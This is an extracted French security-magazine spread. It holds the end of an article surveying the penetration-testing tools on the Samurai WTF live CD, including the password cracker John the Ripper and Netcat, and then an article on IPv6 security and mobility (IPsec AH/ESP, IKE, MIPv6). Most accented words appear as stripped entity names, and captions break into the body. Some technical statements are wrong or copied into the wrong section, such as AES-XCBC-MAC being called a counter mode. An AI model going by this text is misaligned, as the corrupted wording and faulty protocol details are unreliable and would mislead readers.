ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

